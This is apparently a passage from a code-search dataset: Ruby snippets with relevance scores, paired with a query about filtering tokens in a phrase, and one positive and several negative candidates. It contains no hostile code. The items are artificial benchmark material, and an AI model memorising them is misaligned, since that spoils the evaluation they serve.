"docid": "80b4d2609c407bb522324eebec3d08c3",
"score": "0.510173",
"text": "def usersecretary\n service_assignment = Physical::Liviaservices::ServiceProviderEmployeeMappings.find_all_by_employee_user_id(params[:user_id], :include => :user)\n @secretary = service_assignment.collect{|s| s.service_provider.user}\n getsubproductlists\n end",
"title": ""
},
{
"docid": "e7b517b3c6265ea6f34add87f50582ce",
"score": "0.50994",
"text": "def build_user_ids(data)\n\t\tids = []\n\t\tdata.collect do |x|\n\t\t\tids << x[:user_id] if !ids.include?(x[:user_id])\n\t\tend\n\t\tids\n\tend",
"title": ""
},
{
"docid": "3bd763c2932e16c0de248a66ba78e9dc",
"score": "0.5090397",
"text": "def rsvp() #guest_list needs to be included (user_id list)\n\tend",
"title": ""
},
{
"docid": "5f3e3ca69abb28bb2715101286857909",
"score": "0.50900304",
"text": "def user_for_all_subclasses=(user)\n subclasses.each do |subclass|\n subclass.user = user\n end\n end",
"title": ""
},
{
"docid": "0e3ed69e14bdd284bc3c38a9ae9d8e0a",
"score": "0.50898874",
"text": "def add_array_member_by_logical_id(opts)\n opts = check_params(opts,[:names])\n super(opts)\n end",
"title": ""
},
{
"docid": "813f124f00b0a0237d54e6441110b475",
"score": "0.50895864",
"text": "def users\r\n self.allergens.map do |a|\r\n a.user\r\n end\r\n end",
"title": ""
},
{
"docid": "9f2658c9e61e1e010bcdc62eddaf9ea6",
"score": "0.50868756",
"text": "def user_tokens=(ids)\n self.user_ids = ids.split(\",\")\n end",
"title": ""
},
{
"docid": "32536056ffc2f4b03ee37aba7a64cb7d",
"score": "0.5080847",
"text": "def take_array_from_user2(array_from_user)\n return array_from_user.last\nend",
"title": ""
},
{
"docid": "2a05f2376a5f4997fd91dfbe2bc804bd",
"score": "0.50796205",
"text": "def array_users\n\t@all_users= []\n\tusers = @basketballdb.execute(\"select username from users\")\n\tusers.each { |hash| @all_users << hash[\"Username\"]}\n\t@all_users\nend",
"title": ""
},
{
"docid": "1f7299a470383bba15b48e7089ac5a53",
"score": "0.50790995",
"text": "def team_params\n params.require(:user_team).permit(:team_id, :user_id => [])\n end",
"title": ""
},
{
"docid": "2353ac2cc6e78a9ae17af877973701c8",
"score": "0.50779706",
"text": "def admins= users\n case users\n when User\n self.admin_ids = [users.id]\n when BSON::ObjectId\n self.admin_ids = [User.find(users).id]\n when String\n self.admin_ids = [User.find(users).id] if BSON::ObjectId.legal? users\n when Array\n self.admin_ids = []\n users.each do |user|\n self.pushAdmins user\n end\n end\n end",
"title": ""
},
{
"docid": "bd3f5a8cbf9f926557f926a088802a86",
"score": "0.5077883",
"text": "def verifyUserId(id, alluserids)\n \n alluserids.has_key?(id) \n end",
"title": ""
},
{
"docid": "6409c25f6507396e11030dc3149434da",
"score": "0.50770414",
"text": "def messageable_user_ids\n if self.admin?\n return User.all.collect(&:id)\n elsif self.parent?\n users = self.person.school_groups.collect{|g| g.users.of_types(\"Teacher\").map(&:id) + g.parent_user_ids}.flatten\n return (users + self.friend_user_ids + User.admin.map(&:id))\n elsif self.school\n return self.school.group.user_ids + (self.student? ? self.friend_user_ids : self.school.group.parent_user_ids)\n else\n return self.groups.collect(&:user_ids).flatten\n end\n end",
"title": ""
},
{
"docid": "14df18b8ba180d7e321a64c12c6741be",
"score": "0.50737387",
"text": "def in_subgame_array?(subgame)\n return true if @valid_subgames[subgame] = subgame\n return false\n end",
"title": ""
},
{
"docid": "ba2028f9f68bdab4b505d79fea05376c",
"score": "0.5067434",
"text": "def from_user_input(value)\n\t\tvalue = [*value]\n\t\t# eliminate the obvious\n\t\tif (self.length != 1)\n\t\t\traise ArgumentError, \"Must supply only one element to an array you're calling from_user_input on.\"\n\t\tend\n\t\tinnertype = self[0]\n\t\t# now check whether the inner elements of the array match\n\t\toutput = value.collect {|innervalue|\n\t\t\t# if innertype is not an array, but value is, we need to flatten it\n\t\t\tif (!innertype.kind_of?(Array) && innervalue.kind_of?(Array))\n\t\t\t\tinnervalue = innervalue[0]\n\t\t\tend\n\t\t\tinnertype.from_user_input(innervalue); # returns\n\t\t}.compact()\n\n\t\tif (output.length > 0)\n\t\t\treturn output\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c537527e57c969259b698e6747675bab",
"score": "0.5065064",
"text": "def subadmins\n response = @api.request(:get, \"groups/#{@groupid}/subadmins\")\n parse_with_meta(response, \"//data/element\")\n end",
"title": ""
},
{
"docid": "1306c5bdcd3b9a5bcf445bf9fbca8173",
"score": "0.5064211",
"text": "def all_users\n User.where(jurisdiction_id: subtree_ids)\n end",
"title": ""
},
{
"docid": "1306c5bdcd3b9a5bcf445bf9fbca8173",
"score": "0.5064211",
"text": "def all_users\n User.where(jurisdiction_id: subtree_ids)\n end",
"title": ""
},
{
"docid": "02127a325d3c9a206e7bb702e762ea37",
"score": "0.50589156",
"text": "def add_users_to_list(list_name, arr)\n arr.each do |a|\n a[:add_list] = list_name\n add_user(a)\n end\n end",
"title": ""
}
] |
dc19671711e958264a831659366c13b8
|
Select which tokens survive in a phrase. Also passes each token though norm_term. Tokens matching lparen and rparen are dropped.
|
[
{
"docid": "758df69dad230c090008e1ccada3782e",
"score": "0.7405503",
"text": "def norm_phrase_tokens( tokens )\n tokens.\n reject { |t| @lparen === t || @rparen === t }.\n map { |t| norm_term( t ) }\n end",
"title": ""
}
] |
[
{
"docid": "a25d0f52fc3aebf6e493df1b55759495",
"score": "0.57820433",
"text": "def tokenize\nterms = self.gsub(/(\\s|\\d|\\W)+/u,' ').rstrip.strip.downcase.split(' ')\nterms.reject!{|term| @@stop_words.include?(term) || term.length < 3}\nterms\nend",
"title": ""
},
{
"docid": "ed1be5f99329fa82ed5f557e101d1953",
"score": "0.5737589",
"text": "def expand(grammar, non_term=\"<start>\")\n sentence = \"\"\n array = grammar.fetch(non_term, []).sample\n\n if array != nil\n array.each do |s|\n if !is_non_terminal?(s)\n sentence = sentence + s + \" \"\n elsif is_non_terminal?(s)\n sentence = sentence + expand(grammar, s)\n end\n end\n end\n sentence.gsub(/\\s(?=\\.)|\\s(?=,)|\\s(?=\\^)|(?<=\\^)\\s|\\s(?=\\?)|\\s(?=!)|(?<=\\()\\s|\\s(?=\\))|\\s(?=:)/, '')\nend",
"title": ""
},
{
"docid": "a0f8fff554d4eea9c41e9c277ca9bcab",
"score": "0.57035935",
"text": "def expand(grammar, non_term=\"<start>\")\n # TODO: your implementation here\n s = \"\"\n arryT = grammar.fetch(non_term, []).sample\n\n if arryT != nil\n arryT.each do |x|\n if !is_non_terminal?(x)\n s = s + x + \" \"\n elsif is_non_terminal?(x)\n s = s + expand(grammar, x)\n end\n end\n end\n s.gsub(/\\s(?=\\.)|\\s(?=,)|\\s(?=\\^)|(?<=\\^)\\s|\\s(?=\\?)|\\s(?=!)|(?<=\\()\\s|\\s(?=\\))|\\s(?=:)/, '')\nend",
"title": ""
},
{
"docid": "5ef96b3f3c8f651897c3171be238951a",
"score": "0.5546426",
"text": "def _phrase\n\n _save = self.pos\n while true # choice\n _save1 = self.pos\n _tmp = apply(:_word)\n if _tmp\n while true\n _tmp = apply(:_word)\n break unless _tmp\n end\n _tmp = true\n else\n self.pos = _save1\n end\n break if _tmp\n self.pos = _save\n _tmp = apply(:_obs_hyphen_phrase)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_phrase unless _tmp\n return _tmp\n end",
"title": ""
},
{
"docid": "79279ab0b3ef0c2fc4fc25ad9dc15eb4",
"score": "0.546712",
"text": "def processed_terms\n terms = @q.split(/[^a-zA-Z0-9_-]/).reject { |t| t.length <= 2 || STOPWORDS.include?(t) }.join(\" \")\n result = []\n result << terms\n end",
"title": ""
},
{
"docid": "f877569e1c36cc0c16f52df17d7f252a",
"score": "0.54584455",
"text": "def words_within phrase\n words_within_root(phrase).to_a\n end",
"title": ""
},
{
"docid": "168329d3647e189b4c7a7d8f8c496904",
"score": "0.54394764",
"text": "def remove_unmatchable_terms(terms)\n terms_class = terms.class\n terms = terms.split(' ') if terms_class == String\n\n terms_to_remove = []\n terms.each do |term|\n count = ThinkingSphinx.search_count(term)\n if count == 0\n terms_to_remove << term\n end\n #######\n ### Get rid of Roman Numerals\n temp = term.dup\n temp.gsub!(/[ixv]/,'')\n if temp == ''\n terms_to_remove << term\n end\n #######\n end\n remove_terms(terms, terms_to_remove)\n\n terms_class == String ? terms.join(' ') : terms\nend",
"title": ""
},
{
"docid": "168329d3647e189b4c7a7d8f8c496904",
"score": "0.54394764",
"text": "def remove_unmatchable_terms(terms)\n terms_class = terms.class\n terms = terms.split(' ') if terms_class == String\n\n terms_to_remove = []\n terms.each do |term|\n count = ThinkingSphinx.search_count(term)\n if count == 0\n terms_to_remove << term\n end\n #######\n ### Get rid of Roman Numerals\n temp = term.dup\n temp.gsub!(/[ixv]/,'')\n if temp == ''\n terms_to_remove << term\n end\n #######\n end\n remove_terms(terms, terms_to_remove)\n\n terms_class == String ? terms.join(' ') : terms\nend",
"title": ""
},
{
"docid": "53272f1c02d353826903ef348ad56ec1",
"score": "0.5419958",
"text": "def expand(grammar, non_term=\"<start>\")\r\n sentence = \"\" # Starting with an empty string\r\n grammar.each{|key,array|\r\n if key == non_term # Check if the key matches\r\n random = array.sample # Picks a random array element\r\n random.each { |x|\r\n if is_non_terminal?(x)\r\n sentence += expand(grammar, x)\r\n else\r\n sentence += x + ' '\r\n end\r\n }\r\n end\r\n }\r\n\r\n # Correcting white spaces around punctuations\r\n # Also fixing some glitches from the grammar files\r\n sentence.gsub(' ,', ',').gsub('. *', '.').gsub(',.', '.').gsub(' .', '.').gsub(' (', '(').gsub(') ', ')').gsub(' ?', '?')\r\nend",
"title": ""
},
{
"docid": "43e468bd7733a01e0dcacdeaaee12a12",
"score": "0.54151857",
"text": "def expand(grammar, non_term = \"<start>\")\r\n # TODO: your implementation here\r\n\r\n # sentence instantiation\r\n sen = \"\"\r\n\r\n # Source for fetch URL: https://stackoverflow.com/questions/16569409/fetch-vs-when-working-with-hashes\r\n # Date pulled: 10/31/2018\r\n\r\n # Source URL for random values: https://stackoverflow.com/questions/3482149/how-do-i-pick-randomly-from-an-array\r\n # Date pulled: 10/31/2018\r\n\r\n # create an array called senStruct to select a random value by fetch(key_name, default_value) and array.shuffle.first\r\n sen_struct = grammar.fetch(non_term, []).shuffle.first\r\n\r\n # Source for each URL: https://teamtreehouse.com/library/iteration-with-each\r\n # Date pulled: 10/31/2018\r\n\r\n # if random value is not empty\r\n if sen_struct != nil\r\n # search through each element in the array\r\n sen_struct.each do |e|\r\n # if element is not non-terminal the add the element to the string\r\n if !is_non_terminal?(e)\r\n sen = sen + e + \" \"\r\n # if element is non-terminal then expand the random values\r\n elsif is_non_terminal?(e)\r\n sen = sen + expand(grammar, e)\r\n end\r\n end\r\n end\r\n\r\n # Source URL for regexp: https://ruby-doc.org/core-2.2.0/Regexp.html\r\n # Source URL for gsub: https://stackoverflow.com/questions/18193424/using-gsub-in-ruby-strings-correctly\r\n # Date pulled: 10/31/2018\r\n\r\n # gsub searches for element with whitespace and replacing the match with a space\r\n sen.gsub(/\\s(?=\\.)|\\s(?=\\^)|\\s(?=,)|(?<=\\^)\\s|\\s(?=\\?)|(?<=\\()\\s|\\s(?=!)|\\s(?=:)|\\s(?=\\))/, '')\r\nend",
"title": ""
},
{
"docid": "3d2726ea9967d85e4758c3361f59a8fc",
"score": "0.54096246",
"text": "def filter_candidates sentence_terms\n sentence_terms.select{|t| (t.pos == 'N' || t.pos == 'R') && !ids.include?(t.id)}\n end",
"title": ""
},
{
"docid": "05264523f76cd0faf19687df232d8ce5",
"score": "0.5408109",
"text": "def phrases(query)\n parts = keywords(query)\n parts_size = parts.size\n\n [*0..parts_size]\n .combination(2)\n .map { |(a, b)| parts[a...parts_size - (b - a - 1)].join(' ') }\n end",
"title": ""
},
{
"docid": "84031ee81d30ba372411fe9b12bf81a8",
"score": "0.53793436",
"text": "def expand(grammar, non_term=\"<start>\")\r\n sentence = \"\"\r\n grammar[non_term].sample.each{|x|\r\n if is_non_terminal?(x)\r\n sentence += expand(grammar, x)\r\n else sentence += x + \" \" end\r\n }\r\n return sentence\r\nend",
"title": ""
},
{
"docid": "89c43ec0dedad86f87cbd69fe996f18b",
"score": "0.5310612",
"text": "def expand(grammar, non_term=\"<start>\")\n # NOT FINISHED!!!!\n final_string = ''\n string_array = grammar[non_term.downcase] # case insensitive because to_grammar_hash only inputs lowercase\n if non_term == '<start>'\n selection = string_array[rand(string_array.length)]\n selection.each do |element|\n # word.each do |element|\n if is_non_terminal? element\n final_string += expand(grammar, element)\n else\n if element.count(\"a-zA-Z0-9\").zero?\n final_string += element\n else\n final_string += ' ' + element\n end\n # end\n end\n end\n else\n selection = string_array[rand(string_array.length)]\n selection.each do |word|\n if is_non_terminal? word\n final_string += expand(grammar, word)\n else\n if word[0].count(\"a-zA-Z0-9\").zero?\n final_string += word\n else\n final_string += ' ' + word\n end\n end\n end\n end\n\n return final_string\nend",
"title": ""
},
{
"docid": "8b36cf811a8446b6ce5bff2759466692",
"score": "0.5309095",
"text": "def prepare_search phrase\n new_phrase = []\n \n phrase.split.each do |a|\n # If something like be*r\n if a.index WILDCARD_OPERATOR\n # replace be*r with possible alternatives: bear OR beer OR bever...\n new_phrase << @gram_handler.search_and(wildcard_parts(a)).join(\" #{OR_OPERATOR} \")\n else\n new_phrase << a\n end\n end\n \n return new_phrase.join ' '\n end",
"title": ""
},
{
"docid": "2147f7cb2d67f04027381378b5e295cf",
"score": "0.5292229",
"text": "def derived_terms\n match = @q.match(/(\\w*-\\w*)/)\n return [] unless match\n hyphenated_terms = match[1..-1]\n\n if hyphenated_terms.any?\n split_hyphenated_terms = hyphenated_terms.map { |term| term.split('-') }\n joined_hyphenated_terms = hyphenated_terms.map { |term| term.delete('-') }\n processed_terms = hyphenated_terms << joined_hyphenated_terms\n processed_terms.flatten!\n end\n end",
"title": ""
},
{
"docid": "ef931e6e83b5b720d6612655e729f218",
"score": "0.52764744",
"text": "def words\n @phrase.\n split(/[\\n ,]/).\n map {|w| normalize_word(w) }.\n delete_if {|w| w.empty? }\n end",
"title": ""
},
{
"docid": "cacf9aa6e75b4f873c41408d801677f7",
"score": "0.526449",
"text": "def tokenize(raw)\n clausearr = []\n processed = []\n clauses = raw.split(\",\")\n clauses.each do |c|\n clausearr << c.scan(/\\S/)\n end\n raise \"Invalid input syntax\" if !grammar_valid?(clausearr)\n clausearr.each do |carr|\n processed << process_parens(carr)\n end\n return processed\n end",
"title": ""
},
{
"docid": "b289eb3978d601a784e3c167b6b260a0",
"score": "0.5189985",
"text": "def normalize(word)\n is_quotes = false\n\n # word in quotes shouldn't be recognized as location\n #if (word.start_with?(\"\\\"\") and word.end_with?(\"\\\"\")) or\n # (word.start_with?(\"'\") and word.end_with?(\"'\"))\n # is_quotes = true\n #end\n\n if word.include?(\"'\") or word.include?('\"')\n is_quotes = true\n end\n\n word = word.gsub(/[\"']/, '')\n word_str = word\n\n # try to found word in dictionary\n # on each iteration we cut word by 1 letter\n # i.e. Russia, Russi, Russ...\n until word_str.blank? do\n if @lemmas.has_key?(UnicodeUtils.upcase(word_str))\n annotations = @lemmas.get(UnicodeUtils.upcase(word_str))\n\n # at first check for location rules\n annotations.each do |annotation|\n gram_info = @gramtab[annotation.gram]\n if gram_info.nil? or gram_info[1].nil?\n is_location = false\n else\n is_location = (gram_info[1].include?(LOCATION) and not is_quotes)\n end\n\n if is_location\n rules = @rules[annotation.rule]\n\n rules.each_with_index do |rule, index|\n if UnicodeUtils.upcase(word_str) + rule.suffix == UnicodeUtils.upcase(word)\n token = Token.new\n token.word = word\n token.normal = UnicodeUtils.upcase(word_str) + rules.first.suffix\n token.lemma = UnicodeUtils.upcase(word_str)\n token.rule = annotation.rule\n token.rule_part = index\n token.annotation = gram_info\n token.is_location = is_location\n\n return token\n end\n end\n end\n end\n\n # sort possible rules by id number\n # more general rules have smaller id\n annotations.sort_by{|k|k.rule}.each do |annotation|\n rules = @rules[annotation.rule]\n\n rules.each_with_index do |rule, index|\n if UnicodeUtils.upcase(word_str) + rule.suffix == UnicodeUtils.upcase(word)\n gram_info = @gramtab[annotation.gram]\n\n token = Token.new\n token.word = word\n token.normal = UnicodeUtils.upcase(word_str) + rules.first.suffix\n token.lemma = UnicodeUtils.upcase(word_str)\n token.rule = annotation.rule\n token.rule_part = index\n token.annotation = gram_info\n token.is_location = false\n\n return token\n end\n end\n end\n end\n\n word_str = word_str[0...word_str.length - 1]\n end\n\n # try to found word in special lemma '#'\n annotations = @lemmas.get(SPECIAL_LEMMA)\n annotations.each do |annotation|\n rules = @rules[annotation.rule]\n\n rules.each_with_index do |rule, index|\n if rule.suffix == UnicodeUtils.upcase(word)\n gram_info = @gramtab[annotation.gram]\n if gram_info.nil? or gram_info[1].nil?\n is_location = false\n else\n is_location = (gram_info[1].include?(LOCATION) and not is_quotes)\n end\n\n token = Token.new\n token.word = word\n token.normal = rules.first.suffix\n token.lemma = SPECIAL_LEMMA\n token.rule = annotation.rule\n token.rule_part = index\n token.annotation = gram_info\n token.is_location = is_location\n\n return token\n end\n end\n end\n\n # try to predict a lemma\n 5.downto(1).each do |i|\n word_suffix = word[word.length - i..word.length]\n\n # try to found 5,4,3... suffixes of our word in list of endings\n # if we found it then return predicted normal form of word\n if !word_suffix.nil? and @endings.has_key?(UnicodeUtils.upcase(word_suffix))\n possible_rules = @endings.get(UnicodeUtils.upcase(word_suffix))\n\n max_frequency = 0\n best_rule = 0\n best_rule_part = 0\n\n # search for most popular rule\n possible_rules.each do |rule_id|\n if @rule_frequencies[rule_id] > max_frequency\n\n @rules[rule_id].each_with_index do |prule, index|\n # predict only productive classes (noun, verb, adjective, adverb)\n if prule.suffix == UnicodeUtils.upcase(word_suffix) and\n @productive_classes.include?(@gramtab[prule.gram][0])\n\n max_frequency = @rule_frequencies[rule_id]\n best_rule = rule_id\n best_rule_part = index\n break\n end\n end\n end\n end\n\n predicted_word = word[0..-(i + 1)] + @rules[best_rule].first.suffix\n gram_info = @gramtab[@rules[best_rule].first.gram]\n\n if gram_info.nil? or gram_info[1].nil?\n is_location = false\n else\n is_location = (gram_info[1].include?(LOCATION) and not is_quotes)\n end\n\n if max_frequency > 0\n token = Token.new\n token.word = word\n token.normal = UnicodeUtils.upcase(predicted_word)\n token.lemma = word[0..-(i + 1)]\n token.rule = best_rule\n token.rule_part = best_rule_part\n token.annotation = gram_info\n token.is_location = is_location\n\n return token\n end\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "e1037667365ed4b1a9bd0ff061970ac7",
"score": "0.5171342",
"text": "def text_search_parse(query)\n unless query.blank?\n query = query.gsub(/[^\\w\\-\\+'\"]+/, \" \").gsub(\"'\", \"''\").strip.downcase\n query = query.scan(/(\\+|or \\-?|and \\-?|\\-)?(\"[^\"]*\"?|[\\w\\-]+)/).collect do |prefix, term|\n term = \"(#{term.scan(/[\\w']+/).join('&')})\" if term[0,1] == '\"'\n term = \"!#{term}\" if prefix =~ /\\-/\n [(prefix =~ /or/) ? '|' : '&', term] \n end.flatten!\n query.shift\n query.join\n end\n end",
"title": ""
},
{
"docid": "d9ee28b764d80cef4d293786d00ae484",
"score": "0.5167668",
"text": "def tokenize\n \n end",
"title": ""
},
{
"docid": "572a9fc8739d3cee90acb0853da0ba96",
"score": "0.51670945",
"text": "def remove_prepositional_phrases # TODO breaks dependencies\n [email protected]\n tree.breadth_each do |l|\n if l.prepositional_phrase?\n l.parent.remove!(l)\n end\n end\n return tree\n end",
"title": ""
},
{
"docid": "685e55f12e2975c09268a6cd03bc9a05",
"score": "0.51534647",
"text": "def expand(grammar, non_term='<start>')\n non_term.downcase!\n template = grammar[non_term].sample() #pick a random template\n str = \"\"\n template.each { |term| str += (is_non_terminal?(term) ? expand(grammar, term) : term).strip + ' '}\n if non_term == \"<start>\"\n str.strip!\n end\n return str\nend",
"title": ""
},
{
"docid": "0f48bc31b1901f5914c03654ae363d74",
"score": "0.5146193",
"text": "def phrases; end",
"title": ""
},
{
"docid": "ebc44f96aca8b4d3b0a7a5610b159986",
"score": "0.51425105",
"text": "def tokenize\n downcase\n stop_words if @opt[:stop_words]\n alphabetic if @opt[:alphabetic]\n split\n normalize if @opt[:normalize]\n stem if @opt[:stem]\n text\n end",
"title": ""
},
{
"docid": "30ba7fa22fc3dc8d52a888efe35bc591",
"score": "0.5121034",
"text": "def extract_pair_from_term(term, from_lang, to_lang, has_spaces, to_template)\n if term.has_key?(to_lang)\n # Build to term depending on whether it's a hash for complex\n # matches or a simple string\n if term[to_lang].is_a?(Hash)\n to_term = term[to_lang][to_lang]\n case_sensitive = term[to_lang][\"case_sensitive\"]\n no_space = term[to_lang][\"no_space\"]\n is_regex = term[to_lang][\"regex\"]\n\n if term[to_lang].has_key?(from_lang)\n from_term = term[to_lang][from_lang]\n end\n else\n to_term = term[to_lang]\n end\n\n # Build from term if it doesn't already exist\n if term.has_key?(from_lang) && from_term.nil?\n if term[from_lang].is_a?(Hash)\n from_term = term[from_lang][from_lang]\n else\n from_term = term[from_lang]\n end\n end\n\n unless from_term.nil?\n # Build a regular expression if it isn't already one.\n # Note that this will apply word boundary rules, so to avoid them\n # create a regular expression in the dictionary file.\n # Matching is case-insensitive unless the expression contains a\n # capital letter.\n from_fuzzy = from_term\n unless from_term.is_a?(Regexp)\n flags = (case_sensitive || (from_term =~ /[A-Z]/)) ? nil : \"i\"\n from_term = Regexp.escape(from_term) unless is_regex\n if has_spaces\n from_term = Regexp.new(add_word_boundaries(from_term), flags)\n else\n from_term = Regexp.new(from_term, flags)\n end\n end\n\n to_term = to_template % to_term unless to_term =~ BLANK || no_space\n\n return [ from_term, to_term, from_fuzzy ]\n end\n end\n\n # Return nil if no term could be constructed\n return nil\n end",
"title": ""
},
{
"docid": "d067c2aa331e16a58304aac44ab2e7cd",
"score": "0.51197875",
"text": "def query_to_terms(query)\n query.scan(/(\\+|or \\-?|and \\-?|\\-)?(\"[^\"]*\"?|[\\w\\-]+)/).collect do |prefix, term|\n term = \"(#{term.scan(/[\\w']+/).join('&')})\" if term[0,1] == '\"'\n term = \"!#{term}\" if prefix =~ /\\-/\n [(prefix =~ /or/) ? '|' : '&', term] \n end\n end",
"title": ""
},
{
"docid": "609d7db2a83985f4cc29783c1b3f5c09",
"score": "0.5098726",
"text": "def tokenize\n end",
"title": ""
},
{
"docid": "c5b679488ba4717ac3fcf8fb31e07e5f",
"score": "0.5092368",
"text": "def remove_prepositional_phrases! # TODO breaks dependencies\n @tree.breadth_each do |l|\n if l.prepositional_phrase?\n l.parent.remove!(l)\n end\n end\n end",
"title": ""
},
{
"docid": "2a7f041017be1a0ab1a22c7d8ade1126",
"score": "0.50911605",
"text": "def prepare_mandatory_terms(query)\n # use string split with regex to too-cleverly split into space\n # seperated terms and phrases, keeping phrases as unit.\n terms = query.split %r{[[:space:]]+|(\"[^\"]+\")}\n # Wound up with some empty strings, get rid of em\n terms.delete_if {|t| t.blank?}\n\n terms.collect {|token| \"+\" + escape_query(token)}.join(\" \")\n end",
"title": ""
},
{
"docid": "4d3327fa4e3c7f64fcacde2859173ff8",
"score": "0.50688064",
"text": "def default_parse(token, chain)\n chain.where { name.like \"%#{token.term}%\" }\n end",
"title": ""
},
{
"docid": "5467b924e6435d6bfc86328082445c02",
"score": "0.5068542",
"text": "def text_token(text, kind); end",
"title": ""
},
{
"docid": "5467b924e6435d6bfc86328082445c02",
"score": "0.5068542",
"text": "def text_token(text, kind); end",
"title": ""
},
{
"docid": "13bb92afdc860c23dd2d01584088d618",
"score": "0.5057939",
"text": "def text_terms(member) # REFACTORME some duplicaiton with simple indexer\n @blueprint.text_attributes.map do |name, options|\n content = member.send(name).to_s\n if options[:proc]\n options[:proc].call(content).reject(&:blank?).map(&:to_s).map(&:downcase)\n else\n content.scan(/\\w+/u).map(&:downcase)\n end\n end.flatten\n end",
"title": ""
},
{
"docid": "15aec0eecf7e6c925e2a5f693febcc33",
"score": "0.50418735",
"text": "def normalize\n rx = if specials.empty?\n /(?!)/\n else\n Regexp.new '(' + specials.map(&:var).map(&:to_s).join('|') + ')'\n end\n list = self.list.uniq.map do |w|\n parts = w.split(rx).select{ |p| p.length > 0 }\n e = parts.size - 1\n (0..e).map do |i|\n p = parts[i]\n if rx === p\n p = specials.detect{ |sp| sp.var === p }\n if engine.bound\n s = p\n if i == 0 && engine.left_bound && engine.word_test === p.left\n s = \"#{left}#{s}\"\n end\n if i == e && engine.right_bound && engine.word_test === p.right\n s = \"#{s}#{right}\"\n end\n p = s\n end\n else\n p = p.downcase if engine.case_insensitive\n if engine.bound\n s = p\n if i == 0 && engine.left_bound && engine.word_test === p[0]\n s = \"#{left}#{s}\"\n end\n if i == e && engine.right_bound && engine.word_test === p[-1]\n s = \"#{s}#{right}\"\n end\n p = s\n end\n end\n p\n end.join\n end.uniq.sort\n list\n end",
"title": ""
},
{
"docid": "0c9a1fe215f2526f817d1c1b72cf271d",
"score": "0.5033341",
"text": "def sentence_state(str_with_pos_tags)\n state = POSITIVE\n #checking single tokens for negated words\n st = str_with_pos_tags.split(\" \")\n count = st.length\n tokens = Array.new\n tagged_tokens = Array.new\n i = 0\n interim_noun_verb = false #0 indicates no interim nouns or verbs\n \n #fetching all the tokens\n for k in (0..st.length-1)\n ps = st[k]\n #setting the tagged string\n tagged_tokens[i] = ps\n if(ps.include?(\"/\"))\n ps = ps[0..ps.index(\"/\")-1] \n end\n #removing punctuations \n if(ps.include?(\".\"))\n tokens[i] = ps[0..ps.index(\".\")-1]\n elsif(ps.include?(\",\"))\n tokens[i] = ps.gsub(\",\", \"\")\n elsif(ps.include?(\"!\"))\n tokens[i] = ps.gsub(\"!\", \"\")\n elsif(ps.include?(\";\"))\n tokens[i] = ps.gsub(\";\", \"\")\n else\n tokens[i] = ps\n i+=1\n end \n end#end of the for loop\n \n #iterating through the tokens to determine state\n prev_negative_word =\"\"\n for j in (0..i-1)\n #checking type of the word\n #checking for negated words\n if(is_negative_word(tokens[j]) == NEGATED) \n returned_type = NEGATIVE_WORD\n #checking for a negative descriptor (indirect indicators of negation)\n elsif(is_negative_descriptor(tokens[j]) == NEGATED)\n returned_type = NEGATIVE_DESCRIPTOR\n #2-gram phrases of negative phrases\n elsif(j+1 < count && !tokens[j].nil? && !tokens[j+1].nil? && \n is_negative_phrase(tokens[j]+\" \"+tokens[j+1]) == NEGATED)\n returned_type = NEGATIVE_PHRASE\n j = j+1 \n #if suggestion word is found\n elsif(is_suggestive(tokens[j]) == SUGGESTIVE)\n returned_type = SUGGESTIVE\n #2-gram phrases suggestion phrases\n elsif(j+1 < count && !tokens[j].nil? && !tokens[j+1].nil? &&\n is_suggestive_phrase(tokens[j]+\" \"+tokens[j+1]) == SUGGESTIVE)\n returned_type = SUGGESTIVE\n j = j+1\n #else set to positive\n else\n returned_type = POSITIVE\n end\n \n #----------------------------------------------------------------------\n #comparing 'returnedType' with the existing STATE of the sentence clause\n #after returnedType is identified, check its state and compare it to the existing state\n #if present state is negative and an interim non-negative or non-suggestive word was found, set the flag to true\n if((state == NEGATIVE_WORD or state == NEGATIVE_DESCRIPTOR or state == NEGATIVE_PHRASE) and returned_type == POSITIVE)\n if(interim_noun_verb == false and (tagged_tokens[j].include?(\"NN\") or tagged_tokens[j].include?(\"PR\") or tagged_tokens[j].include?(\"VB\") or tagged_tokens[j].include?(\"MD\")))\n interim_noun_verb = true\n end\n end \n \n if(state == POSITIVE and returned_type != POSITIVE)\n state = returned_type\n #when state is a negative word\n elsif(state == NEGATIVE_WORD) #previous state\n if(returned_type == NEGATIVE_WORD)\n #these words embellish the negation, so only if the previous word was not one of them you make it positive\n if(prev_negative_word.casecmp(\"NO\") != 0 and prev_negative_word.casecmp(\"NEVER\") != 0 and prev_negative_word.casecmp(\"NONE\") != 0)\n state = POSITIVE #e.g: \"not had no work..\", \"doesn't have no work..\", \"its not that it doesn't bother me...\"\n else\n state = NEGATIVE_WORD #e.g: \"no it doesn't help\", \"no there is no use for ...\"\n end \n interim_noun_verb = false #resetting \n elsif(returned_type == NEGATIVE_DESCRIPTOR or returned_type == NEGATIVE_PHRASE)\n state = POSITIVE #e.g.: \"not bad\", \"not taken from\", \"I don't want nothing\", \"no code duplication\"// [\"It couldn't be more confusing..\"- anomaly we dont handle this for now!]\n interim_noun_verb = false #resetting\n elsif(returned_type == SUGGESTIVE)\n #e.g. \" it is not too useful as people could...\", what about this one?\n if(interim_noun_verb == true) #there are some words in between\n state = NEGATIVE_WORD\n else\n state = SUGGESTIVE #e.g.:\"I do not(-) suggest(S) ...\"\n end\n interim_noun_verb = false #resetting\n end\n #when state is a negative descriptor\n elsif(state == NEGATIVE_DESCRIPTOR)\n if(returned_type == NEGATIVE_WORD)\n if(interim_noun_verb == true)#there are some words in between\n state = NEGATIVE_WORD #e.g: \"hard(-) to understand none(-) of the comments\"\n else\n state = POSITIVE #e.g.\"He hardly not....\"\n end\n interim_noun_verb = false #resetting\n elsif(returned_type == NEGATIVE_DESCRIPTOR)\n if(interim_noun_verb == true)#there are some words in between\n state = NEGATIVE_DESCRIPTOR #e.g:\"there is barely any code duplication\"\n else \n state = POSITIVE #e.g.\"It is hardly confusing..\", but what about \"it is a little confusing..\"\n end\n interim_noun_verb = false #resetting\n elsif(returned_type == NEGATIVE_PHRASE)\n if(interim_noun_verb == true)#there are some words in between\n state = NEGATIVE_PHRASE #e.g:\"there is barely any code duplication\"\n else \n state = POSITIVE #e.g.:\"it is hard and appears to be taken from\"\n end\n interim_noun_verb = false #resetting\n elsif(returned_type == SUGGESTIVE)\n state = SUGGESTIVE #e.g.:\"I hardly(-) suggested(S) ...\"\n interim_noun_verb = false #resetting\n end\n #when state is a negative phrase\n 